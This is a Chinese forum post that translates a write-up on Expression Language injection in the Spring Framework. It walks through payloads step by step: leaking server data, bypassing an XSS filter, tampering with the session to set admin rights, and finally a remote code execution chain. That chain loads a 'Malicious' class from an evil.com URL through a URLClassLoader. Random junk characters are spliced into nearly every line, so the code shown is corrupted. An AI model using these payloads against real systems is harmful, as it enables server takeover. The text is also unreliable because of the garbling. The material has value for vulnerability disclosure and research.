找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2239|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with* \" R% u" _0 _/ t" k$ t2 ?+ m
Expression Language Injection- D. R& T8 i* t7 }. Y! U, O. z
Spring Framework脆弱性—DanAmodio2 E; d- {9 S: j2 p, G6 I# \9 g- s
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中! o% S! K3 @% |( i2 ]! T( u0 N
可能会存在风险。
6 P% G8 w0 v2 S) T; I在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的8 v; P' L7 T. W/ X4 T1 D7 D
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
4 L# `* }0 V5 F$ h2 X, S! v以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
" z6 r1 w" U" B0 z. [; \以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前5 e/ w7 o6 q+ F8 ?  @2 \
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。& o8 @$ x! s2 [  R- O
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
) C. z% h8 a$ C& D" t我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版- {4 ?+ v, p+ @1 X$ D) V
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。  A. P# S& @4 q
这些版本不支持禁用double EL resolution.
4 i$ o+ q  w" V5 }3 V这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含  x) A2 b8 K2 H6 X% j0 e& F8 E! D% ^
EL2.2容器上可能进行远程代码执行。
' J# c0 Z. y8 A8 x3 [  }+ x这是一个原始信息泄露的攻击例子:
1 ^" h1 P) {# G5 f% H请求:# u& p3 Y3 O: p! A, c8 B
ttp://vulnerable.com/foo?message=${applicationScope}3 ?! U6 J* P  x6 x' j/ D
到达以下内容页面:
  ]# M6 N. v$ {结果将输出一些包含内部服务器信息calsspath 和本地工作目录
. ?9 I6 E8 G# y) E  t1 u- A6 o. \6 @5 V你也可以做一些其他事情,如这样:1 @4 ^8 q& _) [0 o; u  F$ u
${9999+1}
3 P5 f/ ^) G6 Q* c( m( ~还可以访问session 对象和beans
9 T/ O- N  c5 S9 l  f" }${employee.lastName}
# |* {( v6 A1 R在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
% I" s- m) i1 Z% P1 BEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东# Q- Z; C+ q7 c- E' e: \
西,比如XSS.
4 [4 }3 S4 w4 D, k/ F9 p哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签; _! \7 Y0 b: ~6 v% i- k
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
$ ], U- z8 _& n# z/ F4 l呢?”
* w+ q1 {, r4 M( [因此,我尝试巳缦拢�" K2 Z$ @: D4 m5 ]
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP6 B8 _6 R" E/ J) C) M" j8 X, V4 f% K
P- h; A# x& ~2 e4 B. U, `
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返- M2 R1 M, o1 P7 G: q) o! \# a
回的文本被插入进了spring:message 标签。2 m. p. X9 K/ G$ S7 l! a& x
这里是一个最终绕过过滤的实例:
, M) t% q5 K* E7 thttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ6 Q8 M* G) u* S! i3 r
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
) ^7 D" x+ w$ z, A8 r8 d2 F5 S什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?+ `6 w( t1 K" ^0 G: l
经过一番研究,我学习到EL2.2 增加了方法调用。
/ [1 x( F. L, l$ ~  v我写了一个快速测试应用程序代码并且检测一些功能
* Q# R# D0 o0 ]8 S6 i${pageContext.request.getSession().setAttribute(“account”,”123456″)}
4 K! z, }5 a1 L, E+ V' q${pageContext.request.getSession().setAttribute(“admin”,true)}; n$ J  q# O+ X8 c- \$ i
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
; k/ @" N& n' _' k2 r# ^9 _指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?& c# @! V  K9 q- t5 |
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1+ d2 r- G! Z$ c! v& U
“, 1234)}. ]5 {8 E: n4 e$ k- T' e+ n
${“”.getClass().forName(“java.lang.Runtime”)}
' i5 q1 z6 P# p* v, C, F, y5 D! x哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
6 Y( T/ V6 _1 t4 W可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函2 O9 a# P) ~. ~8 c- i
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
" d8 L2 [% x0 S( ^% H一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
$ [) |. K# Z6 g( T7 |+ P方法签名invoke(Object obj, Object„ args)
; q6 N% t% h; ^9 b; ~0 JJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问7 R: T1 I2 x5 g; |& p8 \
题,以让它可以工作起来。$ L+ O: r, Y/ Z& T6 b' a$ z
漏洞利用:! X  P& N6 j. U  K4 `
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
) N  X3 b( |8 E7 O3 n$ {希望你们中的一些JAVA奇才告诉我我是如此的可笑。$ j% b: m# t, U8 A
这里有一些我试过的失败的用例,为了试图让它工作的用例:
0 N: }  E- J# ]: q/ j 写文件到文件系统5 `' j  N9 N3 X/ x$ [' U$ d1 }
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
0 {3 g5 {/ m) g5 a1 l' `9 \我认为这些可以很好的工作,但是我不能找到合适的类来载入。, J7 X( N1 r% a- V, D0 p
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
( k3 E9 @8 Y( F' d+ q7 r: xjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
/ A6 W; Y4 I; g/ [6 ^org.springframework.expression.spel.standard.SpelExpressionParser not found0 G; a& m% F9 @7 P+ H- T8 }
by
9 z" g5 i! E( E  x) [: lorg.glassfish.web.javax.servlet.jsp [194].
& s; r. r4 t. ~% }: a6 c7 } 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public- [7 y, |  @$ M3 Z
 利用反射来创建一个新的Runtime(and watch the world burn)( v! P) p2 Q+ T7 n& w
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
4 I' I' B( {$ u) x& P(“java.lang.Runtime”)).getDeclaredConstructors()[0])}( V1 G; ]3 u% H
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}  a5 ]! _6 X& E7 G
 使用java.lang.ProcessBuilder6 Z1 J! f2 |( t% A7 I2 [
 用表达式语言来评估表达式语言0 E1 O. k! J7 D- }: ~% C2 m! V
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
& ^" F1 W" B. j% G( ^% w$ h/ o! n${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request/ A3 O9 ~1 u7 ?8 H% h( {! W5 {
“,”".getClass(),null)}5 L! c5 J# P( [, ?  |3 g8 f8 k+ c
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)& h8 U, P, h- B, u1 C% M3 U
我在使用一个空数组通过Method.invoke()时失败了很多次, s1 t# I- v7 W8 B' o
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo. l: j+ ?! K' b* U; J4 m* n
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
4 W. q! c6 X% z/ X' |rrayList”).newInstance().toArray())
  B! B) \4 L* y) W% J% yjava.lang.IllegalArgumentException: wrong number of arguments$ v* K3 _% \; e! ?1 y
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可1 ?- h2 I4 I' y4 b
以创建一个恶意class文件并且指向类装载器.4 k, f2 C# Y( ~+ d6 Y
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:& L# X9 g8 o; F  A4 ~& R) J, g
public class Malicious {0 v8 o0 t- f" K: L% y
public Malicious() {- J3 Q8 c* V& j) D5 m. Y) ~
try {
3 e8 L. t* l4 C4 O+ K" ojava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac2 C$ G* V# Y! A; V( y/ \" U
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
7 N, @/ p" W6 P3 w} catch (Exception e) {
9 v; M# Z" f0 G8 {5 K}) f5 ~; B  O1 Y3 x
}# t8 E' x( I# u
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
! ~6 S: H: M( A3 K话中,因此它可以被使用.
- i8 d) A8 c/ \5 R' T${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
) u+ M: Y6 F* }6 B3 }(“java.util.ArrayList”).newInstance())}+ ]. h6 x- H7 n2 g% i9 l
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
( q- c( u# u# K* @, \2 p一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和5 P- U: [5 G0 ^7 a' L: m( R
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个- m' F% T6 O; F; k
我们可以调用的create(string)方法,然后转换对一个URL对象。
( f( H6 ]6 H( M${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
6 q! @; @4 N8 Z. C) k- P: E& bere/malicious/classfile/is/located/”).toURL())}
/ @) Y4 E. M2 D9 i$ ]1 g然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,5 x3 K) e+ R8 ~( g' P  b3 r5 }
恶意类文件被装载并创建,触发远程代码.. d5 c) z1 L! k' C
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
+ S( S) _* n& U4 u3 R' C+ Lxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
* N5 V, W. `0 D: T  JgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
0 j" T; M, i6 _()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表